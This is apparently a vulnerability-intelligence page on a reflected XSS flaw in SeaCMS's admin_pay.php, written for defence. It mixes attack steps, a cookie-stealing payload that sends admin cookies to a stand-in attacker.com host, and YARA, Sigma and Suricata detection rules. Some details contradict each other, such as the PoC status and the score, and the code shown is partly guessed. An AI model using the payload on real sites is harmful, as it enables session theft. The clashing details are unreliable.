☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4257

CVE-2025-4257 Cross-Site Scripting in Seacms
📅 PUBLISHED: 2025-05-05 01:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4257 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in SeaCMS version 13.2. The flaw resides in the /admin_pay.php file, where the cstatus parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the admin panel. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. No official patch has been released, and the exploit is publicly available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the SeaCMS PHP application.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) - The victim must click the malicious link.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) - Potential access to admin session data.
  • Integrity Impact: Low (I:L) - Ability to modify admin panel content or perform actions on behalf of the admin.
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the public availability of the exploit and the lack of a patch increase the risk for unpatched SeaCMS installations.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the SeaCMS admin panel. The /admin_pay.php script processes the cstatus GET parameter and reflects its value directly into the HTML response without proper encoding or sanitization.

Attack Flow:

  1. An attacker identifies a SeaCMS 13.2 instance.
  2. The attacker crafts a URL like: http://target.com/admin_pay.php?cstatus=<script>alert('XSS')</script>
  3. The attacker sends this URL to an authenticated admin (via email, social engineering, etc.).
  4. The admin clicks the link while logged into the SeaCMS admin panel.
  5. The server processes the request and returns a page containing the injected script.
  6. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the admin panel.

The root cause is the lack of output encoding. The cstatus parameter is likely echoed directly into the page using PHP's echo or print without htmlspecialchars() or similar sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS 13.2 - /admin_pay.php):

<?php
// ... other code ...
$cstatus = $_GET['cstatus'];
echo "<div class='status'>Status: $cstatus</div>";
// ... other code ...
?>

Patched Code (Hypothetical):

<?php
// ... other code ...
$cstatus = htmlspecialchars($_GET['cstatus'], ENT_QUOTES, 'UTF-8');
echo "<div class='status'>Status: $cstatus</div>";
// ... other code ...
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running SeaCMS 13.2 instance (e.g., in a Docker container or local VM).
  • A web browser with developer tools.
  • A simple HTTP server to capture cookies (optional).

Exploit Steps:

  1. Identify Target: Find a SeaCMS 13.2 admin panel URL.
  2. Craft Payload: Use a simple XSS payload to test:
    <script>alert('XSS')</script>
    
  3. Construct Malicious URL:
    http://target.com/admin_pay.php?cstatus=<script>alert('XSS')</script>
    
  4. Deliver to Admin: Send the URL to an authenticated admin.
  5. Execute: When the admin clicks the link, the script executes.

Advanced Payload (Cookie Stealing):

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

Replace attacker.com with your controlled server.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /admin_pay.php with suspicious cstatus parameters containing <script>, onerror=, or other HTML/JavaScript patterns.
  • Use a Web Application Firewall (WAF) to block requests with XSS patterns in the cstatus parameter.

Mitigation:

  • Apply input validation and output encoding to the cstatus parameter.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Restrict access to the admin panel via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /admin_pay.php with cstatus parameter containing <script>, %3Cscript%3E, or other HTML-encoded script tags.
    • Outbound connections from the SeaCMS server to unknown IPs on port 80/443 (potential cookie exfiltration).
  • Host:
    • Unusual entries in web server access logs (e.g., GET /admin_pay.php?cstatus=<script>...).
    • Modified admin panel pages or unexpected JavaScript files.
  • File:
    • Suspicious files in the SeaCMS data/ or uploads/ directory (if the XSS is used to upload a webshell).

Detection Engineering

YARA Rule

rule CVE_2025_4257_SeaCMS_XSS {
    meta:
        description = "Detects SeaCMS admin_pay.php XSS payload in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4257"
    strings:
        $xss_payload = /cstatus=.*(<script|%3Cscript|onerror=|onload=)/i
    condition:
        $xss_payload
}

Sigma Rule

title: SeaCMS admin_pay.php Reflected XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-4257 in SeaCMS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin_pay.php'
        cs-uri-query|contains|all:
            - 'cstatus='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4257 SeaCMS admin_pay.php XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin_pay.php"; http_uri; content:"cstatus="; http_uri; pcre:"/cstatus=.*(<script|%3Cscript|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Admin Panel Access: If possible, restrict access to /admin_pay.php via .htaccess or firewall rules to trusted IPs only.
  2. Apply Virtual Patching: Use a WAF to block requests containing XSS patterns in the cstatus parameter.
  3. Monitor Logs: Actively monitor web server logs for exploitation attempts.

Long-Term Fix:

  • Patch the Code: Manually edit /admin_pay.php to sanitize the cstatus parameter using htmlspecialchars() or a similar function.
  • Upgrade: Check for an official patch from SeaCMS. If none is available, consider migrating to a different CMS.
  • Security Hardening: Implement a Content Security Policy (CSP) and enable HTTP-only cookies to mitigate the impact of XSS.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4257/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.